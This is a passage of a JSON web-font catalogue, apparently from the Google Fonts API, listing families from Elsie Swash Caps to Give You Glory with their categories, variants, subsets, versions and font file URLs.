    "regular": "http://fonts.gstatic.com/s/elsieswashcaps/v4/9L3hIJMPCf6sxCltnxd6X2YeFSdnSpRYv5h9gpdlD1g.ttf",
    "900": "http://fonts.gstatic.com/s/elsieswashcaps/v4/iZnus9qif0tR5pGaDv5zdKoKBWBozTtxi30NfZDOXXU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Emblema One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/emblemaone/v5/7IlBUjBWPIiw7cr_O2IfSaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Emilys Candy",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/emilyscandy/v4/PofLVm6v1SwZGOzC8s-I3S3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Engagement",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/engagement/v5/4Uz0Jii7oVPcaFRYmbpU6vesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Englebert",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/englebert/v4/sll38iOvOuarDTYBchlP3Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Enriqueta",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/enriqueta/v5/_p90TrIwR1SC-vDKtmrv6A.ttf",
    "700": "http://fonts.gstatic.com/s/enriqueta/v5/I27Pb-wEGH2ajLYP0QrtSC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Erica One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ericaone/v6/cIBnH2VAqQMIGYAcE4ufvQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Esteban",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/esteban/v4/ESyhLgqDDyK5JcFPp2svDw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Euphoria Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/euphoriascript/v4/c4XB4Iijj_NvSsCF4I0O2MxLhO8OSNnfAp53LK1_iRs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ewert",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ewert/v4/Em8hrzuzSbfHcTVqMjbAQg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Exo",
   "category": "sans-serif",
   "variants": [
    "100",
    "100italic",
    "200",
    "200italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "500",
    "500italic",
    "600",
    "600italic",
    "700",
    "700italic",
    "800",
    "800italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/exo/v4/RI7A9uwjRmPbVp0n8e-Jvg.ttf",
    "100italic": "http://fonts.gstatic.com/s/exo/v4/qtGyZZlWb2EEvby3ZPosxw.ttf",
    "200": "http://fonts.gstatic.com/s/exo/v4/F8OfC_swrRRxpFt-tlXZQg.ttf",
    "200italic": "http://fonts.gstatic.com/s/exo/v4/fr4HBfXHYiIngW2_bhlgRw.ttf",
    "300": "http://fonts.gstatic.com/s/exo/v4/SBrN7TKUqgGUvfxqHqsnNw.ttf",
    "300italic": "http://fonts.gstatic.com/s/exo/v4/3gmiLjBegIfcDLISjTGA1g.ttf",
    "regular": "http://fonts.gstatic.com/s/exo/v4/eUEzTFueNXRVhbt4PEB8kQ.ttf",
    "italic": "http://fonts.gstatic.com/s/exo/v4/cfgolWisMSURhpQeVHl_NA.ttf",
    "500": "http://fonts.gstatic.com/s/exo/v4/jCg6DmGGXt_OVyp5ofQHPw.ttf",
    "500italic": "http://fonts.gstatic.com/s/exo/v4/lo5eTdCNJZQVN08p8RnzAQ.ttf",
    "600": "http://fonts.gstatic.com/s/exo/v4/q_SG5kXUmOcIvFpgtdZnlw.ttf",
    "600italic": "http://fonts.gstatic.com/s/exo/v4/0cExa8K_pxS2lTuMr68XUA.ttf",
    "700": "http://fonts.gstatic.com/s/exo/v4/3_jwsL4v9uHjl5Q37G57mw.ttf",
    "700italic": "http://fonts.gstatic.com/s/exo/v4/0me55yJIxd5vyQ9bF7SsiA.ttf",
    "800": "http://fonts.gstatic.com/s/exo/v4/yLPuxBuV0lzqibRJyooOJg.ttf",
    "800italic": "http://fonts.gstatic.com/s/exo/v4/n3LejeKVj_8gtZq5fIgNYw.ttf",
    "900": "http://fonts.gstatic.com/s/exo/v4/97d0nd6Yv4-SA_X92xAuZA.ttf",
    "900italic": "http://fonts.gstatic.com/s/exo/v4/JHTkQVhzyLtkY13Ye95TJQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Exo 2",
   "category": "sans-serif",
   "variants": [
    "100",
    "100italic",
    "200",
    "200italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "500",
    "500italic",
    "600",
    "600italic",
    "700",
    "700italic",
    "800",
    "800italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/exo2/v3/oVOtQy53isv97g4UhBUDqg.ttf",
    "100italic": "http://fonts.gstatic.com/s/exo2/v3/LNYVgsJcaCxoKFHmd4AZcg.ttf",
    "200": "http://fonts.gstatic.com/s/exo2/v3/qa-Ci2pBwJdCxciE1ErifQ.ttf",
    "200italic": "http://fonts.gstatic.com/s/exo2/v3/DCrVxDVvS69n50O-5erZVvesZW2xOQ-xsNqO47m55DA.ttf",
    "300": "http://fonts.gstatic.com/s/exo2/v3/nLUBdz_lHHoVIPor05Byhw.ttf",
    "300italic": "http://fonts.gstatic.com/s/exo2/v3/iSy9VTeUTiqiurQg2ywtu_esZW2xOQ-xsNqO47m55DA.ttf",
    "regular": "http://fonts.gstatic.com/s/exo2/v3/Pf_kZuIH5c5WKVkQUaeSWQ.ttf",
    "italic": "http://fonts.gstatic.com/s/exo2/v3/xxA5ZscX9sTU6U0lZJUlYA.ttf",
    "500": "http://fonts.gstatic.com/s/exo2/v3/oM0rzUuPqVJpW-VEIpuW5w.ttf",
    "500italic": "http://fonts.gstatic.com/s/exo2/v3/amzRVCB-gipwdihZZ2LtT_esZW2xOQ-xsNqO47m55DA.ttf",
    "600": "http://fonts.gstatic.com/s/exo2/v3/YnSn3HsyvyI1feGSdRMYqA.ttf",
    "600italic": "http://fonts.gstatic.com/s/exo2/v3/Vmo58BiptGwfVFb0teU5gPesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/exo2/v3/2DiK4XkdTckfTk6we73-bQ.ttf",
    "700italic": "http://fonts.gstatic.com/s/exo2/v3/Sdo-zW-4_--pDkTg6bYrY_esZW2xOQ-xsNqO47m55DA.ttf",
    "800": "http://fonts.gstatic.com/s/exo2/v3/IVYl_7dJruOg8zKRpC8Hrw.ttf",
    "800italic": "http://fonts.gstatic.com/s/exo2/v3/p0TA6KeOz1o4rySEbvUxI_esZW2xOQ-xsNqO47m55DA.ttf",
    "900": "http://fonts.gstatic.com/s/exo2/v3/e8csG8Wnu87AF6uCndkFRQ.ttf",
    "900italic": "http://fonts.gstatic.com/s/exo2/v3/KPhsGCoT2-7Uj6pMlRscH_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Expletus Sans",
   "category": "display",
   "variants": [
    "regular",
    "italic",
    "500",
    "500italic",
    "600",
    "600italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/expletussans/v7/gegTSDBDs5le3g6uxU1ZsX8f0n03UdmQgF_CLvNR2vg.ttf",
    "italic": "http://fonts.gstatic.com/s/expletussans/v7/Y-erXmY0b6DU_i2Qu0hTJj4G9C9ttb0Oz5Cvf0qOitE.ttf",
    "500": "http://fonts.gstatic.com/s/expletussans/v7/cl6rhMY77Ilk8lB_uYRRwAqQmZ7VjhwksfpNVG0pqGc.ttf",
    "500italic": "http://fonts.gstatic.com/s/expletussans/v7/sRBNtc46w65uJE451UYmW87DCVO6wo6i5LKIyZDzK40.ttf",
    "600": "http://fonts.gstatic.com/s/expletussans/v7/cl6rhMY77Ilk8lB_uYRRwCvj1tU7IJMS3CS9kCx2B3U.ttf",
    "600italic": "http://fonts.gstatic.com/s/expletussans/v7/sRBNtc46w65uJE451UYmW8yKH23ZS6zCKOFHG0e_4JE.ttf",
    "700": "http://fonts.gstatic.com/s/expletussans/v7/cl6rhMY77Ilk8lB_uYRRwFCbmAUID8LN-q3pJpOk3Ys.ttf",
    "700italic": "http://fonts.gstatic.com/s/expletussans/v7/sRBNtc46w65uJE451UYmW5F66r9C4AnxxlBlGd7xY4g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fanwood Text",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fanwoodtext/v6/hDNDHUlsSb8bgnEmDp4T_i3USBnSvpkopQaUR-2r7iU.ttf",
    "italic": "http://fonts.gstatic.com/s/fanwoodtext/v6/0J3SBbkMZqBV-3iGxs5E9_MZXuCXbOrAvx5R0IT5Oyo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fascinate",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fascinate/v5/ZE0637WWkBPKt1AmFaqD3Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fascinate Inline",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fascinateinline/v6/lRguYfMfWArflkm5aOQ5QJmp8DTZ6iHear7UV05iykg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Faster One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fasterone/v5/YxTOW2sf56uxD1T7byP5K_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fasthand",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fasthand/v7/6XAagHH_KmpZL67wTvsETQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fauna One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/faunaone/v4/8kL-wpAPofcAMELI_5NRnQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Federant",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/federant/v7/tddZFSiGvxICNOGra0i5aA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Federo",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/federo/v8/JPhe1S2tujeyaR79gXBLeQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Felipa",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/felipa/v4/SeyfyFZY7abAQXGrOIYnYg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fenix",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fenix/v4/Ak8wR3VSlAN7VN_eMeJj7Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Finger Paint",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fingerpaint/v4/m_ZRbiY-aPb13R3DWPBGXy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fira Mono",
   "category": "monospace",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/firamono/v3/WQOm1D4RO-yvA9q9trJc8g.ttf",
    "700": "http://fonts.gstatic.com/s/firamono/v3/l24Wph3FsyKAbJ8dfExTZy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fira Sans",
   "category": "sans-serif",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "500",
    "500italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/firasans/v5/VTBnrK42EiOBncVyQXZ7jy3USBnSvpkopQaUR-2r7iU.ttf",
    "300italic": "http://fonts.gstatic.com/s/firasans/v5/6s0YCA9oCTF6hM60YM-qTS9-WlPSxbfiI49GsXo3q0g.ttf",
    "regular": "http://fonts.gstatic.com/s/firasans/v5/nsT0isDy56OkSX99sFQbXw.ttf",
    "italic": "http://fonts.gstatic.com/s/firasans/v5/cPT_2ddmoxsUuMtQqa8zGqCWcynf_cDxXwCLxiixG1c.ttf",
    "500": "http://fonts.gstatic.com/s/firasans/v5/zM2u8V3CuPVwAAXFQcDi4C3USBnSvpkopQaUR-2r7iU.ttf",
    "500italic": "http://fonts.gstatic.com/s/firasans/v5/6s0YCA9oCTF6hM60YM-qTcCNfqCYlB_eIx7H1TVXe60.ttf",
    "700": "http://fonts.gstatic.com/s/firasans/v5/DugPdSljmOTocZOR2CItOi3USBnSvpkopQaUR-2r7iU.ttf",
    "700italic": "http://fonts.gstatic.com/s/firasans/v5/6s0YCA9oCTF6hM60YM-qTXe1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fjalla One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fjallaone/v4/3b7vWCfOZsU53vMa8LWsf_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fjord One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fjordone/v5/R_YHK8au2uFPw5tNu5N7zw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Flamenco",
   "category": "display",
   "variants": [
    "300",
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/flamenco/v6/x9iI5CogvuZVCGoRHwXuo6CWcynf_cDxXwCLxiixG1c.ttf",
    "regular": "http://fonts.gstatic.com/s/flamenco/v6/HC0ugfLLgt26I5_BWD1PZA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Flavors",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/flavors/v5/SPJi5QclATvon8ExcKGRvQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fondamento",
   "category": "handwriting",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fondamento/v5/6LWXcjT1B7bnWluAOSNfMPesZW2xOQ-xsNqO47m55DA.ttf",
    "italic": "http://fonts.gstatic.com/s/fondamento/v5/y6TmwhSbZ8rYq7OTFyo7OS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fontdiner Swanky",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fontdinerswanky/v6/8_GxIO5ixMtn5P6COsF3TlBjMPLzPAFJwRBn-s1U7kA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Forum",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/forum/v7/MZUpsq1VfLrqv8eSDcbrrQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Francois One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/francoisone/v9/bYbkq2nU2TSx4SwFbz5sCC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Freckle Face",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/freckleface/v4/7-B8j9BPJgazdHIGqPNv8y3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fredericka the Great",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/frederickathegreat/v5/7Es8Lxoku-e5eOZWpxw18nrnet6gXN1McwdQxS1dVrI.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fredoka One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fredokaone/v4/QKfwXi-z-KtJAlnO2ethYqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Freehand",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/freehand/v8/uEBQxvA0lnn_BrD6krlxMw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fresca",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fresca/v5/2q7Qm9sCo1tWvVgSDVWNIw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Frijole",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/frijole/v5/L2MfZse-2gCascuD-nLhWg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fruktur",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fruktur/v6/PnQvfEi1LssAvhJsCwH__w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Fugaz One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/fugazone/v6/5tteVDCwxsr8-5RuSiRWOw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "GFS Didot",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "greek"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gfsdidot/v6/jQKxZy2RU-h9tkPZcRVluA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "GFS Neohellenic",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gfsneohellenic/v7/B4xRqbn-tANVqVgamMsSDiayCZa0z7CpFzlkqoCHztc.ttf",
    "italic": "http://fonts.gstatic.com/s/gfsneohellenic/v7/KnaWrO4awITAqigQIIYXKkCTdomiyJpIzPbEbIES3rU.ttf",
    "700": "http://fonts.gstatic.com/s/gfsneohellenic/v7/7HwjPQa7qNiOsnUce2h4448_BwCLZY3eDSV6kppAwI8.ttf",
    "700italic": "http://fonts.gstatic.com/s/gfsneohellenic/v7/FwWjoX6XqT-szJFyqsu_GYFF0fM4h-krcpQk7emtCpE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gabriela",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gabriela/v4/B-2ZfbAO3HDrxqV6lR5tdA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gafata",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gafata/v5/aTFqlki_3Dc3geo-FxHTvQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Galdeano",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/galdeano/v6/ZKFMQI6HxEG1jOT0UGSZUg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Galindo",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/galindo/v4/2lafAS_ZEfB33OJryhXDUg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gentium Basic",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gentiumbasic/v7/KCktj43blvLkhOTolFn-MYtBLojGU5Qdl8-5NL4v70w.ttf",
    "italic": "http://fonts.gstatic.com/s/gentiumbasic/v7/qoFz4NSMaYC2UmsMAG3lyTj3mvXnCeAk09uTtmkJGRc.ttf",
    "700": "http://fonts.gstatic.com/s/gentiumbasic/v7/2qL6yulgGf0wwgOp-UqGyLNuTeOOLg3nUymsEEGmdO0.ttf",
    "700italic": "http://fonts.gstatic.com/s/gentiumbasic/v7/8N9-c_aQDJ8LbI1NGVMrwtswO1vWwP9exiF8s0wqW10.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gentium Book Basic",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gentiumbookbasic/v6/IRFxB2matTxrjZt6a3FUnrWDjKAyldGEr6eEi2MBNeY.ttf",
    "italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v6/qHqW2lwKO8-uTfIkh8FsUfXfjMwrYnmPVsQth2IcAPY.ttf",
    "700": "http://fonts.gstatic.com/s/gentiumbookbasic/v6/T2vUYmWzlqUtgLYdlemGnaWESMHIjnSjm9UUxYtEOko.ttf",
    "700italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v6/632u7TMIoFDWQYUaHFUp5PA2A9KyRZEkn4TZVuhsWRM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Geo",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/geo/v8/mJuJYk5Pww84B4uHAQ1XaA.ttf",
    "italic": "http://fonts.gstatic.com/s/geo/v8/8_r1wToF7nPdDuX1qxel6Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Geostar",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/geostar/v6/A8WQbhQbpYx3GWWaShJ9GA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Geostar Fill",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/geostarfill/v6/Y5ovXPPOHYTfQzK2aM-hui3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Germania One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/germaniaone/v4/3_6AyUql_-FbDi1e68jHdC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gidugu",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "telugu"
   ],
   "version": "v3",
   "lastModified": "2014-12-10",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gidugu/v3/Ey6Eq3hrT6MM58iFItFcgw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gilda Display",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gildadisplay/v4/8yAVUZLLZ3wb7dSsjix0CADHmap7fRWINAsw8-RaxNg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Give You Glory",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/giveyouglory/v6/DFEWZFgGmfseyIdGRJAxuBwwkpSPZdvjnMtysdqprfI.ttf"
   }
  },
  {
